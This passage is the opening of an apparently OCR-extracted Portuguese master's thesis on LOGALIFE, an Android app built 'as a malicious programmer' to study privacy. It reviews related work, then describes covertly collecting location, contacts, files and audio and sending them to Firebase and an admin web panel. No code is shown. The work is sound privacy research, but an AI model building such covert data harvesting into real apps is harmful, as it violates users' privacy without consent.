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Resumo

O projeto LOGALIFE surgiu de uma autoproposta realizada para a unidade curricular (UC)
de Projeto de Seguranca. Esta UC, pertencente ao primeiro ano do Mestrado de
Ciberseguranca e Informéatica Forense, tem como principal objetivo que os estudantes
definam uma autoproposta de projeto que possa ser desenvolvida como projeto final de
Mestrado. O objetivo desta UC foi atingido uma vez que o tema autoproposto foi
precisamente o utilizado como projeto final do segundo e Gltimo ano do Mestrado.

Este projeto nasce da curiosidade de longa data em perceber qual o nivel de privacidade que
um utilizador Android tem ao utilizar diversas aplicacdes a partir do momento em que este

cede algumas permissoes.

A ideia do projeto surgiu ao reparar que aplicacdes simples como calculadoras, aplicacdes
de produtividade, aplicacdes de fitness, etc. pedem recorrentemente permissdes que parecem
excessivas para as funcionalidades anunciadas pela aplicacdo. A ideia evoluiu para, em vez
de ser feita uma anélise as aplica¢des, ser desenvolvida uma aplicagdo que obtenha 0 maximo
de informacdes do utilizador sem que este se aperceba, ou seja, a ideia principal passa por
desenvolver a aplica¢do pensando como um programador “mal-intencionado” e perceber que

informagdes sdo possiveis de obter com e sem a cedéncia de permissdes do utilizador.

Ao longo do desenvolvimento da aplicacdo LOGALIFE todas as informacdes obtidas e a
forma como as mesmas foram adquiridas foram reportadas no relatério desenvolvido em

simultaneo com o projeto.

Para além da aplicacdo Android e do relatério foi também desenvolvida uma aplicacdo WEB
com o propasito de apresentar e analisar os dados obtidos. Esta aplicacdo WEB é como se
fosse o painel de administrador que seria utilizado pelo programador “mal-intencionado”

para aceder aos dados dos utilizadores da aplicacdo LOGALIFE.

Palavras-chave: Android, Privacidade, Seguranca, Permissdes, Informagdes Privadas



Abstract

The LOGALIFE project emerged from a self-proposal made for the curricular unit of
Security Project. This course, belonging to the first year of the Masters of Cybersecurity and
Computer Forensics, has as its main objective that students define a project self-proposal
that they could develop as a final project for the Masters. The goal of this course was
achieved since the self-proposed theme was precisely the one used as the final project of the
second and last year of the Masters.

This project was born from a long-time curiosity to understand what level of privacy an
Android user has when using several applications from the moment he or she gives up some

permissions.

The idea of the project came when noticing that simple applications such as calculators,
productivity apps, fitness apps, etc. repeatedly ask for permissions that seem excessive for
the features advertised by the application. The idea evolved to, instead of doing an analysis
of the applications, to develop an application that gets as much information from the user
without him noticing. The main idea is to develop the application by thinking like a
"malicious” programmer and understand what information is possible to obtain with and

without giving up user permissions.

Throughout the development of the LOGALIFE application, all the information obtained
and how it was obtained was reported in the report developed simultaneously with the

project.

In addition to the Android application and the report, a web application was also developed
with the purpose of presenting and analyzing the data obtained. This web application is like
the administrator panel that would be used by the "malicious” programmer to access the data
of the LOGALIFE application users.

Keywords: Android, Privacy, Security, Permissions, Private Information
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LOGALIFE

Introducéao

A percentagem da populagdo mundial que possui e utiliza um ou mais smartphones tem
vindo a aumentar celeremente e com o desenvolvimento dos paises dos maiores
continentes em termos populacionais, Africa e Asia, é esperado que este niimero continue
a aumentar. Esta informacéo pode ser consultada na Figura 1 que demonstra que, no curto
espaco de tempo de 9 anos, a percentagem mundial da populacdo que utiliza um
smartphone passou de cerca de 10% em 2012 para mais de 50% em 2021 [1].

% of World Population That Uses a Smartphone STRATEGYANALYTICS
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Figura 1 - Percentagem de Smartphones na populacdo mundial (Source: Strategy Analytics, Inc.)!

Todos os dados apontam para que o nimero de utilizadores de smartphones continue a
aumentar com a rapida globalizag&o dos paises em desenvolvimento no sudoeste asiatico

e no continente africano.

1 https://news.strategyanalytics.com/press-releases/press-release-details/2021/Strategy-Analytics-Half-
the-World-Owns-a-Smartphone/default.aspx
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Nos ultimos anos os cidaddos, um pouco por todo o mundo, tiveram a oportunidade de

perceber as conveniéncias potenciadas pela utilizacdo de um smartphone como:

e Répido acesso a informagéo;

e Globalizagéo;

e A possibilidade de comunicagdo com qualquer outro utilizador em
qualquer momento;

e Aumento da produtividade;

e Portabilidade;

e Utilizacdo de funcionalidades como a camara e o GPS (Global
Positioning System);

e etc...

Contudo, de modo a ser possivel utilizar algumas destas funcionalidades, o utilizador
podera ter de abdicar da sua privacidade. Enquanto, por exemplo, numa camara digital
(sem acesso a internet) o utilizador tem a certeza de que apenas 0 proprio tem acesso as
suas imagens, 0 mesmo pode ndo acontecer num smartphone uma vez que o utilizador
néo sabe se alguma das seguintes entidades consegue aceder e exportar as suas imagens

para fora do smartphone sem o conhecimento ou permissdo do mesmo:

e Sistema Operativo (SO);
e Fabricante do Smartphone;

e Aplicacdes Instaladas no Sistema.

Esta sensacdo de constante desconfianga perante os smartphones tem vindo a aumentar,
tendo sido potenciado pelas inUmeras noticias de armazenamentos e processamentos de
dados pessoais de utilizadores para fins comerciais por parte das grandes empresas.
Assim, torna-se importante perceber onde estd a fronteira entre conveniéncia e

privacidade do utilizador.

1.1.Problema e Enquadramento

Uma das questdes negativas levantadas pelo irreversivel aumento do uso da tecnologia a

nivel global € a linha de fronteira entre conveniéncia e privacidade. Se por um lado é
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indiscutivel que a tecnologia e os seus infinitos beneficios facilitam a vida de muitos, esta
também tem as suas desvantagens, sendo a principal a perda de privacidade para o

utilizador.

O problema que a aplicacdo proposta pretende analisar é perceber até onde é que é
possivel a um programador mal-intencionado ou uma grande empresa como a Google ir
na procura por dados dos seus utilizadores Android. Algumas das questdes que a

aplicacéo a desenvolver pretende responder séo:

¢ Que informac6es sdo possiveis recolher de um utilizador Android?

e Com que facilidade é possivel recolher informacdes pessoais?

e Que informacgdes podem ser recolhidas sem a permissdo ou conhecimento do
utilizador?

e Quais as dificuldades impostas pela Google para a obtencdo de informacoes

privadas por um utilizador mal-intencionado?

1.2.Motivacéo e Objetivos

O projeto LOGALIFE surgiu no ambito de uma autoproposta efetuada como tépico para
o projeto final integrado no Mestrado em Ciberseguranca e Informatica Forense na Escola
Superior de Tecnologia e Gestdo do Politécnico de Leiria. A autoproposta surgiu e foi

planeada na unidade curricular de Projeto de Seguranga?.

A motivagéo para a escolha do tema do projeto surgiu ao reparar que aplicagdes simples
como calculadoras, aplicacbes de produtividade, aplicagcbes fitness, etc. pedem
recorrentemente permissdes que parecem excessivas para as funcionalidades anunciadas

pela aplicacgéo.

Os objetivos do projeto LOGALIFE passavam pelo desenvolvimento de uma aplicagédo
movel que obtenha 0 maximo de informacdes do utilizador sem que este se aperceba, ou
seja, a ideia principal passava por desenvolver a aplicacdo pensando como um
programador “mal-intencionado” e perceber que informagdes sdo possiveis de obter com

e sem a cedéncia de permissdes do utilizador.

2 Esta UC pertence ao primeiro ano do Mestrado de Ciberseguranca e Informatica Forense.
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Enquanto o objetivo principal passava pelo desenvolvimento da aplicagdo movel, foi
definido como objetivo secundario o desenvolvimento de uma aplicacio WEB que

permitisse a visualiza¢do da informacdao extraida ao utilizador da aplicacdo mdvel.

Desta forma espera-se que seja possivel ter uma melhor nogdo de quais 0s riscos que se

corre quando se cedem certas permissdes a inumeras aplicacoes.

1.3.Estrutura do Documento

Os restantes capitulos deste documento estdo estruturados como se descreve de seguida.

No segundo capitulo sdo apresentados cinco trabalhos relacionados que foram
considerados relevantes para o desenvolvimento da aplicacdo LOGALIFE. Ao longo dos
cinco primeiros subcapitulos sdo apresentados os trabalhos realizados bem como qual a
sua relevancia no contexto do projeto desenvolvido. No sexto subcapitulo € feita a analise
comparativa entre os trabalhos relacionados que foram estudados.

No terceiro capitulo sdo apresentadas as especificacbes tracadas para o projeto, a
metodologia utilizada — neste ponto sdo explicados alguns conceitos chave da
metodologia e da ferramenta utilizada para a gestdo das especificacdes do projeto. E ainda
feita uma analise de requisitos e sdo especificadas as user stories definidas para o projeto
LOGALIFE.

O quarto capitulo é talvez o mais importante, uma vez que € aqui que é reportado o
desenvolvimento da aplicacéo, é explicado ao leitor que informacdes foram possiveis de
obter, bem como a forma como as mesmas foram obtidas. Este capitulo esta dividido em
11 subcapitulos que correspondem as funcionalidades principais que foram desenvolvidas
neste projeto. Dos 11 subcapitulos existentes, o primeiro corresponde ao resumo das
aplicagdes utilizadas durante o desenvolvimento, os 8 subcapitulos seguintes coincidem
com o desenvolvimento da aplicagdo Android. O penultimo subcapitulo esta relacionado
com a aplicacdo WEB que tem o objetivo de mostrar os dados da aplicacdo Android
LOGALIFE. No ultimo subcapitulo é feita uma analise aos resultados obtidos e também

séo respondidas as questdes levantadas na introdug¢do do documento.
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Por ultimo, no quinto capitulo sdo retiradas as devidas conclusbes sobre o
desenvolvimento do projeto e sdo também apresentadas algumas funcionalidades que
poderdo ser consideradas referéncias para trabalho futuro.
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Trabalho Relacionado

Antes de ser iniciado o projeto foi efetuado um processo de pesquisa onde se
identificaram alguns trabalhos que, de alguma forma, se assemelhem com o projeto
proposto pela aplicacdo LOGALIFE, de modo a melhor entender o que podera ser Util ou

0 que se deve acrescentar.

2.1. Mobile Tracking System using Web Application and Android Apps

Um dos trabalhos analisados que se destacou na fase de pesquisa e leitura de projetos

relacionados foi o Mobile Tracking System using Web Application and Android Apps [2].

Este trabalho destacou-se devido as semelhancas que apresenta com a ideia definida para
0 projeto LOGALIFE, mais concretamente com a funcionalidade de obtencdo da

localizacdo do utilizador recorrendo ao sinal de GPS.

O sistema proposto no artigo relacionado consiste no desenvolvimento de uma aplicagéo
Android que recebe a localizacdo através de GPS e envia esses mesmo dados para um
servidor remoto. O objetivo deste armazenamento dos dados passa por possibilitar a
identificacdo dos locais onde o utilizador esteve num determinado momento e até mesmo

localizar o utilizador em tempo real.

No contexto do trabalho, além da aplicacdo Android foi também desenvolvida uma
aplicacdo WEB que permite consultar as localizacbes do(s) utilizador(es). Esta
funcionalidade, que permite aceder de forma simples aos dados obtidos, faz todo o sentido
e sera desenvolvido também um website onde sera possivel consultar todos os dados

extraidos na aplicacdo LOGALIFE.

Os autores do artigo identificaram alguns dos problemas que enfrentaram na fase de
testes, alguns destes problemas poder&o ser comuns com o desenvolvimento da aplicagéo

LOGALIFE:

e Problemas de conexdo GPS dentro de edificios;

e Problemas com a precisdo do GPS que pode gerar dados falsos;
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e Dependéncia de uma conexdo a internet de forma a enviar os dados da localiza¢ao
— este problema podera ser resolvido guardando a localiza¢do localmente no
smartphone e, posteriormente, aquando de uma reconexdo a internet poder&o ser

atualizados;

E importante notar que apesar dos autores ndo frisarem qual a versdo Android utilizada
para o desenvolvimento e respetivos testes da aplicagdo, pode-se afirmar que a aplicacdo
foi desenvolvida na versdo 7.1.2 ou anterior, uma vez que o lancamento da verséo 8 do
Android ocorreu alguns meses depois da publicagdo do relatério. E igualmente importante
realcar que a Google tem vindo a aumentar a complexidade da sua politica de gestdo de
permissOes e desta forma nas versées mais recentes do Android torna-se cada vez mais
dificil o acesso as informacdes privadas do utilizador, como por exemplo a localizacgéo,

sem a autorizacdo expressa do mesmo.

Este artigo desempenhara um papel importante no desenvolvimento da aplicacdo pois
permite identificar e preparar potenciais problemas aquando do desenvolvimento do
maodulo que ira ser responsavel por devolver a localizagdo do utilizador.

2.2. Android Permission System and User Privacy - A Review of
Concept and Approaches

O segundo artigo considerado relevante, Android Permission System and User Privacy —
A Review of Concept and Approaches [3], foi escrito por dois estudantes da Universidade
de Engenharia e Informatica de Galway localizada na Irlanda. Este artigo tem o objetivo
de analisar os perigos associados a cada uma das permissdes do Android. Além disso o
paper reporta a analise feita a oito das aplicagdes mais utilizadas para o sistema operativo
Android. Segundo os autores, a escolha das aplicacdes foi feita tendo por base a categoria
das mesmas. Foi escolhida uma aplicagdo para representar cada uma das categorias como

se pode consultar na Tabela 1.

A analise as aplicacOes escolhidas teve por base a classificacao atribuida pela Google para
cada permissdo (ameaca ou ndo ameaca). Permissdes como a de acesso a localizacéo,
acesso a camara, acesso ao microfone, entre outras, sdo consideradas uma ameaca a
privacidade dos dados do utilizador, porém a permissdo de acesso ao sistema de

armazenamento interno de ficheiros nao.



LOGALIFE

Tabela 1 - Aplicagdes Escolhidas para Anélise

# Nome da Aplicacéo Categoria

1 WhatsApp Comunicacao
2 Facebook Rede Social
3 Google Docs Produtividade
4 Spotify Musica

5 Duolingo Educagéo

6 YouTube Video

7 Just Eat Estilo de Vida
8 Amazon Compras

Por fim, sdo somadas as permissdes consideradas uma ameaca que foram requisitadas por
cada uma das aplicacBes. Com este resultado é possivel quantificar quais as aplicacdes
gue mais pedem permissdes consideradas uma ameaca, destacando-se as aplicacdes das
categorias Comunicacao e Social, como se pode verificar pelos resultados apresentados

na Figura 2.

Amazon Shopping
Just Eat
YouTube

Duolingo

Apps

Spotify

1
|
S
I—
—
Google Docs I
Facebook |
/]

WhatsApp

0 2 4 6 8 10 12 14 16
Privacy Concerns

Figura 2 - Nivel de Ameaca das Aplicagdes [3]
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O artigo frisa também quais as permissdes classificadas pela comunidade de
programadores como perigosas. E ainda destacada a permissdo de WIFI que, apesar de
ndo ser classificada como perigosa, é esta que permite que os dados sejam exportados do

smartphone para um servidor ou uma base de dados remota.

O estudo das permissdes realizado neste artigo pode tornar-se bastante importante ao
longo do desenvolvimento da aplicacdo LOGALIFE uma vez que, certamente, serd
necessario fazer uma gestdo das permissbes requisitadas ao utilizador e este estudo
permitiu ter uma ideia do que cada uma das permissdes mais utilizadas permite fazer. Por
outro lado, sera igualmente interessante perceber se é possivel obter algumas informacdes

ou ficheiros do utilizador sem que 0 mesmo tenha concedido permissdes para tal.

2.3. Automated Mobile User Experience Measurement: Combining
Movement Tracking with App Usage Logging

Outro artigo que serviu como base de preparacdo para o projeto LOGALIFE foi o artigo

Automated Mobile User Experience Measurement: Combining Movement Tracking with

App Usage Logging [4]. O artigo foi publicado em 2014 por 4 autores que a data da

publicacdo eram trabalhadores e um deles fundador da empresa Noldus®.

Apesar de se poder afirmar que em algumas areas este artigo € semelhante a pesquisa
analisada no capitulo 2.1, existem algumas diferencas entre os dois. Enquanto o primeiro
artigo, Mobile Tracking System using Web Application and Android Apps, se focava
totalmente na obtencdo da localizacdo atraves de GPS, este artigo vai um pouco mais
longe e para além de fazer o registo das localiza¢des acedidas pelo utilizador, a aplicacao
desenvolvida para o estudo permite também perceber que aplicacGes foram utilizadas
numa certa localizacdo ou no caso de o smartphone estar em standby, essa mesma
informacgdo e também armazenada e posteriormente visualizada numa aplicagcdo para

desktop desenvolvida pelos autores do artigo.

A aplicacdo para desktop utilizada para a visualizagdo de dados da localizagdo* pertence
a empresa Noldus. Esta aplicacdo permite visualizar, recorrendo ao mapa que é possivel

consultar na Figura 3, o trajeto do utilizador num intervalo de datas. E ainda possivel

8 https://www.noldus.com/
4 https://www.noldus.com/tracklab
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verificar na Figura 3 que a aplicacgéo tenta classificar o tipo de movimento que o utilizador
fez em cada uma das respetivas localizacBes, sendo que esta informacéo é representada
através das diferentes cores visiveis no mapa. A correspondéncia entre as cores e 0 tipo

de movimento pode ser consultada na legenda do mapa.
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Figura 3 - TrackLab [4]

Uma das davidas que a leitura do artigo levantou foi a possibilidade de, nas versées mais
recentes do Android, ainda ser possivel saber quais as aplicagdes acedidas pelo utilizador
num periodo temporal e, caso seja, serd algo relevante de implementar na aplicacdo
LOGALIFE.

Um ponto comum entre este e 0 primeiro artigo é a possibilidade de visualizar em versao
desktop/WEB as localizagdes frequentadas pelo utilizador. Este serd outro ponto que
valera certamente a pena investir tempo no contexto da aplicacdo LOGALIFE.,

Este artigo serviu de inspiracédo para a aplicagdo WEB que se espera desenvolver na fase
final do desenvolvimento, esta aplicacéo tera a finalidade de apresentar os dados que se

esperam recolher do smartphone do utilizador.
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2.4. PhotoSafer: Content-Based and Context-Aware Private Photo

Protection for Smartphones

O artigo PhotoSafer: Content-Based and Context-Aware Private Photo Protection for
Smartphones [5] reporta os resultados de uma pesquisa efetuada entre 112 inquiridos,
onde o objetivo passava por identificar que tipo de informagdes os participantes do

inquérito armazenam nos seus smartphones.

Inicialmente, o estudo categoriza os participantes por faixa etaria e pelo sistema operativo

do seu smartphone, tal como se pode consultar na Figura 4.

TABLE I: Mobile Phone Platform Usage of Survey Respon-

dents
Mobile Phone Platform | Proportion of Respondents
Android T.T%
iPhone 21.4%
Windows Phone 0.9%

TABLE II: Age Group Distribution of Survey Respondents

Age Group Proportion of Respondents
Less than 20 years 5.4%

20-30 vears 8487

30-40 vears 9.8%

Figura 4 - Categorizagdo dos Inquiridos [5]

Uma das conclusdes de maior destaque deste estudo é a elevada percentagem de pessoas
que afirmaram armazenar dados privados no seu smartphone, 88.6% dos inquiridos

afirmaram ter dados considerados privados como, por exemplo:

e Fotos privadas;
e (Carta de conducao;

e Passaporte.

No artigo foi desenvolvida uma aplicagdo chamada “PhotoSafer” que, para além de
aceder aos ficheiros dos utilizadores, classificava posteriormente 0s mesmos numa das

seguintes categorias:

e Ficheiros Publicos;

11
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e Imagem de Documento (carta de condugao, passaporte, ...);
e Documento Legal;
e Familia;

e Nudes.

A classificacdo dos documentos foi baseada em algoritmos de redes neuronais (DCNN)
que utilizaram como dataset [18] imagens da base de dados ImageNet® que a data continha
cerca de 1.2 milhdes de imagens. O mddulo responsavel por fazer a classificacdo dos

ficheiros foi desenvolvido utilizando a biblioteca Tensorflow® com Python’.

Um dos objetivos do projeto passara por tentar perceber quao seguros estdo os dados dos
utilizadores antes e depois de estes cederem certas permissdes no seu dispositivo Android.
Com o aumento da capacidade de armazenamento dos dispositivos mdveis cresce também
a gquantidade de ficheiros que cada utilizador pode armazenar. Desde imagens, videos,
gravagdes audio, documentos, entre outros., todos estes podem conter informagao
sensivel e sera importante perceber em primeiro lugar, se é possivel aceder a estes
ficheiros e envia-los para um servidor, e em segundo lugar, com que facilidade este

processo pode ser efetuado.

2.5. Is My Phone Listening in? On the Feasibility and Detectability of
Mobile Eavesdropping

O ultimo trabalho analisado, que foi considerado relevante para o contexto do projeto, foi

desenvolvido por dois alunos da Universidade Técnica de Berlim.

A elaboracdo do artigo Is My Phone Listening in? On the Feasibility and Detectability of
Mobile Eavesdropping [6] é motivada pelos véarios problemas de privacidade nos

dispositivos maveis.

5 https://image-net.org/
6 https://www.tensorflow.org/learn
7 https://www.python.org/da
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Os autores comecam por referir que existem cada vez mais suspeitas que 0S seus
smartphones 0s escutam sem que o utilizador tenha dado permissdes para tal (pelo menos
de forma consciente). Existem cada vez mais relatos que alegam que conversas privadas
conduzidas na presenca de smartphones resultaram, mais tarde, em andncios relacionados

com 0s topicos mencionados nas conversas.

Qualquer smartphone moderno tem a capacidade de gravar som com bastante qualidade.
Isto torna possivel gravar as conversas privadas dos utilizadores recorrendo aos
microfones incorporados. Os smartphones tém também a possibilidade de transmitir
dados sensiveis, tais como a prépria gravacdo ou informacéo extraida do discurso gravado
para servidores através da Internet. As aplicagdes moveis instaladas num smartphone

poderéo entdo explorar estas capacidades para efetuarem espionagem.

Ao longo do artigo € explicado como funcionaria um eventual modelo de espionagem

através dos smartphones dos utilizadores. O modelo funcionaria da seguinte forma:

1. As conversas sdo gravadas através do smartphone do utilizador, a
responsabilidade desta gravacao pode ser da autoria:
e da empresa responsavel pelo sistema operativo, por exemplo, Apple ou
Google;
e das aplicacdes instaladas no dispositivo;
e de bibliotecas utilizadas por terceiros nas aplicagdes instaladas no

dispositivo.

2. Apbs o processamento e filtragem das gravacdes, que poderiam ser efetuadas
localmente no dispositivo ou em servidores remotos, o responsavel por gravar
o microfone do utilizador partilha a informagdo relevante, extraida da

gravacdo, quer seja de forma direta ou indireta com outras entidades.

3. As entidades responsaveis por associar publicidades relevantes a potenciais
clientes utilizam entdo a informacdo recebida para identificar o smartphone
proprietario como um alvo adequado para anuncios especificos e envia um
pedido de emissdo correspondente a uma editora de anuncios. Finalmente, a
editora exibe os anuncios em websites, aplicacdes ou no smartphone através

do qual a fala foi gravada ou noutros dispositivos pertencentes ao proprietario

13
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do smartphone. Este mapeamento entre dispositivos do utilizador pode ser
feito através de:

e Logins;

e Comportamento do utilizador;

e Correspondéncia de enderego IP.

A Figura 5, elaborada pelos autores do artigo, resume o eventual funcionamento do

mecanismo explicado anteriormente.

"""""""""""" =9 Remote Servers

phone Operating System
owner s 59 H
O ; : T
) (¢ ) r::;_";tng : internet | Data profiling
' / R transfer :
J\ p— —— Non-system App§ | s St:rr:dge information
TR Third-party 'y Analysis
private conversation Libraries
. on topic X X — A
e R s ‘ h Advertising
""""""""""""" : -
: ( J : integration of targeted ads in online content Advertising persor|1alized
(on the smartphone, and on other devices ! Publisher advertisements

that can be linked to the phone owner)

phone owner encounters
\,  online ads on topic X

Figura 5 - Possivel Cendrio de Espionagem [6]

Contudo, € importante referir que antes de uma aplicacdo poder aceder aos microfones
nos dispositivos Android e i0S, a permissdo tem de ser concedida pelo utilizador. No
entanto, um estudo [22] mencionado pelos autores no qual participaram 308 utilizadores
do Android revelou que apenas 17% dos inquiridos prestaram atencao as permissdes que

concedem durante a instalacdo de uma aplicacao.

Para além disso, as aplicacGes Android e iOS com permissdo de microfone podem apenas
gravar audio quando a aplicagdo estiver ativa, isto é, a funcionar em primeiro plano. A
gravacdo de dudio serd um dos topicos desenvolvidos na aplicagdo mobile, tendo sido

esse um dos motivos para a leitura/analise deste trabalho relacionado.
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Apesar de alguns especialistas considerarem que o eventual cenario de espionagem é
econOmica e tecnicamente impraticavel, tem por base estimativas da utiliza¢cdo do CPU
(Central Processing Unit)®, bateria, transferéncia de rede e requisitos de armazenamento
de dados. No entanto existem outros especialistas que ja afirmaram que uma tal operagéo

estaria longe de ser tecnicamente inviavel caso sejam utilizadas algumas técnicas como:

e Gravacdo de audio com qualidade reduzida;
e Pré-processamento das gravagdes nos smartphones;
e Utilizacdo de técnicas de detecdo de palavras-chaves;

e Gravacao seletiva.

2.6. Analise Comparativa

A Tabela 2 compila/mapeia as funcionalidades da aplicagio LOGALIFE com 0S
trabalhos relacionados. E possivel perceber que todos os trabalhos estudados tiveram, de
uma forma ou outra, um papel importante no planeamento e desenvolvimento da
aplicacdo, permitindo perceber a importancia da informacéo a que se ira tentar aceder e

obter.

A leitura de alguns dos trabalhos relacionados também se tornou importante,
nomeadamente a leitura dos trabalhos [5] e [6] que fez com que 0 acesso aos ficheiros e

ao microfone fossem tambhém abordados.

8 https://pt.wikipedia.org/wiki/Unidade central _de processamento
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Tabela 2 - Pontos em comum com LOGALIFE

Pontos em comum com LOGALIFE

. R L Analise de Acesso aos Acesso ao
Trabalho Relacionado Acesso a Localizagdo o o .
Permissdes ficheiros Microfone

Mobile Tracking
System using Web
Application and 0
Android Apps
Android Permission
System and User
Privacy - A Review Q
of Concept and
Approaches
Automated Mobile
User Experience
Measurement: 0
Combining Movement
Tracking with App
Usage Logging
PhotoSafer: Content-
Based and Context-
Aware Private Photo Q
Protection for
Smartphones
Is My Phone
Listening in? On the
Feasibility and 0
Detectability of

Mobile Eavesdropping
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Especificacoes

Neste capitulo pretende-se apresentar as especificacdes e consideracdes principais sobre
a analise e desenvolvimento do projeto. Inicialmente serd descrita a metodologia de
desenvolvimento seguida e posteriormente apresentada a anélise de requisitos efetuada.

3.1.Metodologia

O planeamento e desenvolvimento deste projeto foi realizado utilizando uma metodologia
baseada na framework® Scrum'® com a utilizagdo de quadros Kanban!. Ao longo deste
capitulo é explicado como foi feito o planeamento do projeto desenvolvido e é
apresentada a metodologia utilizada, bem como os motivos da mesma ter sido utilizada.
Neste capitulo é também abordada a metodologia de desenvolvimento utilizada e é feita
a exposic¢do da analise de requisitos.

3.1.1. Scrum

Atualmente o desenvolvimento de software utilizando metodologias ageis, em detrimento
do tradicional desenvolvimento em cascata, faz todo o sentido uma vez que permite
acelerar o ciclo de apresentagdo de novas funcionalidades e obtencdo de feedback. A
constante comunicacao entre a equipa de desenvolvimento, que no caso conta apenas com
um elemento, e o cliente, que nesta situacdo é a professora orientadora foi um fator

fundamental que certamente contribuiu para o sucesso do projeto.

A metodologia Scrum*? é conhecida por possuir uma lista de roles/papéis bem definida,
contudo enquanto num projeto de desenvolvimento com varios elementos é possivel
definir uma estrutura clara dos papéis que cada elemento da equipa tem dentro do projeto,

no caso de um projeto elaborado/orientado por apenas 2 elementos esta estrutura torna-se

® Uma framework ¢, de um modo geral, um modelo de codigos ja existentes para uma funcéo especifica
necessaria ao desenvolvimento de software.

10 hitps://pt.wikipedia.org/wiki/Scrum

1 https://www.atlassian.com/agile/kanban/boards

12 https://www.scrum.org/
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um pouco mais confusa. E possivel consultar a lista de papéis do Scrum e 0s membros

responsaveis pelos mesmo na Tabela 3.

Tabela 3 - Papéis do Scrum

Product Owner Professora

Sénia Luz

Professora
Stakeholder
Sénia Luz
Miguel
Scrum Master
Mascarenhas
Equipa de Miguel
Desenvolvimento Mascarenhas
Professora
Sénia Luz /
Cliente
Miguel
Mascarenhas

Apesar de terem sido utilizados muitos dos principios do Scrum, ndo se pode afirmar que
esta metodologia foi sequida de forma literal, uma vez que nem todas as normas do Scrum
foram seguidas. E possivel consultar alguns dos principios que ndo foram seguidos ou

que foram utilizados com algumas alteracdes:

e Daily Meetings — As reunides diarias do Scrum conhecidas como “Standup
Meetings” ndo foram utilizadas no desenvolvimento da aplicagdo LOGALIFE
por motivos de incompatibilidade de horarios, mas também porque o
desenvolvimento da aplicacdo ndo foi diario, até porque as maiores evolucdes
no projeto foram realizadas durante os fins de semana.

e Agrupamento de Reunifes — Enquanto num projeto que segue na totalidade
0s principios do Scrum existe uma lista de reunides independentes, por uma
questdo de aproveitamento de tempo, algumas destas reunides foram
agrupadas numa reunido semanal/quinzenal. Sendo que estas “sub-reunides”

faziam parte da estrutura seguida na meeting com o “cliente”:
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o Sprint Review — Esta parte da reunido era fundamental para alinhar as
expetativas do cliente com as limitagdes técnicas que a Google
apresenta aos programadores Android. Foi também de extrema
importancia a rapida obtencdo de feedback que permitiu a veloz
alteracdo de certos detalhes sempre que estes foram necessarios.

o Sprint Planning — A parte final da reuniéo era utilizada, normalmente,
para planear quais as funcionalidades que iam ser implementadas na
sprint seguinte.

e Roles— Como mencionado anteriormente, a defini¢do de papéis foi um pouco
diferente daquela que seria utilizada num projeto com mais membros, uma vez
que teve de haver um género de uma associagao l6gica entre os papéis e quem

faria mais sentido assumir 0s mesmos.

3.1.2. Trello

Foi definido numa fase inicial do projeto que seria utilizado um quadro Kanban de forma

a auxiliar na visualizacdo do trabalho desenvolvido e a desenvolver.

De entre os muitos servicos que disponibilizam quadros Kanban online, o servico
escolhido foi o Trello®® que, para além de ser gratuito, ja tinha sido utilizado em projetos
anteriores e desta forma foi possivel investir o tempo, poupado na configuragcdo do

quadro, no desenvolvimento da aplicagéo.

O Trello permite a criacdo de colunas de itens, sendo que estas colunas ndo sdo mais do
que listas que contém um conjunto de stories/tarefas. No caso deste projeto, foram
utilizadas 4 listas, tal como é possivel observar na Figura 6. As quatro colunas utilizadas

~

Sao:

e Backlog!'* — Corresponde a lista total de tarefas que se pretende desenvolver
ao longo do projeto;
e Sprint Atual — Esta lista contém a lista de tarefas que se espera desenvolver

na sprint atual;

13 https://trello.com/
14 https://blog.runrun.it/o-que-e-backlog/
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e InProgress — Nesta coluna devem estar identificadas as tarefas que se estdo
a desenvolver naquele momento;

e Done — Em cada reunido de projeto sdo apresentadas as tarefas realizadas a
orientadora e caso todas as tarefas estejam de acordo com os critérios
definidos podem entdo ser movidas para a coluna “Done”.

) S B S oy g ~ - < i 0
Backlog g Sprint Atual In Progress o |
I

+ Adicionar um cartio (=] + Adicionar um cartdo =]

+ Adicionar um cartio =]

Integragdo com Firebase

Registo de Chamadas

Figura 6 - Quadro Kanban no Trello

Uma das vantagens da metodologia Kanban é que permite visualizar de forma simples
ndo sO6 que tarefas vdo ser realizadas, mas também a quantidade de trabalho em

desenvolvimento em cada sprint*® (periodo de desenvolvimento fixo utilizado no Scrum).

E possivel verificar na Figura 7 um exemplo de uma story, no caso “Obter Lista de

Contactos”, onde se pretendia extrair os contactos armazenados no smartphone do
utilizador e envia-los para o Firebase.

15 https://www.metodoagil.com/sprint-scrum/
16 hitps://firebase.google.com/
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Obter Lista de Contactos

na lista Done

Descricdo  Editar

Como utilizador, pretendo que a aplicacdo aceda 3 minha lista de contactos e a
armazene na aplicagio LOGALIFE.

Deve ser possivel extrair a lista de contactos do utilizador e armazena-la na base
de dados do Firebase.

Atividade Mostrar Detalhes

@ Escrever um comentario...

Figura 7 - Story "Obter Lista de Contactos"

Sugeridas o

& Ingressar

Adicionar ao cartdo

& Membros
@ Etiquetas
B4 Checklist
® Datas
& Anexo
& Capa

& Campos Pe

Adicione listas suspensas
campos de texto, datas e muito
mais aos seus cartdes.

ID Iniciar teste gratuito

Power-Ups

+ Adicionar power-...

Automagio @

+ Adicionar botio

Agdes
- Mover

O Copiar

& Criar modelo
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3.2.Analise de Requisitos

Desde uma fase inicial do projeto foram sendo analisados os requisitos da aplicacdo. Em
conjunto com a professora orientadora foi feito um planeamento do que faria sentido

estudar e implementar para a aplicagdo LOGALIFE.

Do planeamento inicial de requisitos foram retiradas algumas funcionalidades que, apds
alguma pesquisa se verificou que seriam invidveis de implementar. Por outro lado, alguns
dos requisitos surgiram através da necessidade e/ou curiosidade de perceber se certas

funcionalidades eram possiveis de implementar.

3.2.1. Levantamento de Requisitos

Neste subcapitulo sdo descritos os requisitos da aplicagdo. O levantamento de requisitos
foi subdividido em requisitos funcionais e requisitos nao funcionais [7, 19]. Sendo que 0s
primeiros especificam as fungdes que o sistema deve ser capaz de executar, j& 0S
requisitos ndo funcionais séo responsaveis por descrever ndo o que o sistema fara, mas

como o fara.

Como mencionado anteriormente o desenvolvimento do projeto é baseado numa
metodologia agil e desta forma, inicialmente foram apenas tracados 0os macro-requisitos

que pretendiam representar o problema.

A lista de requisitos funcionais e ndo funcionais que posteriormente levaram a elaboragédo

das user stories podem ser consultados nos subcapitulos seguintes.

Requisitos Funcionais
e Verificar quais as informacdes que se conseguem obter sem permissées do
utilizador: Neste ponto pretende-se estudar que informacdes sdo possiveis de
obter sem requisitar qualquer tipo de informagdo ou sem pedir a permisséo

associada ao tipo de informacao que se espera obter.

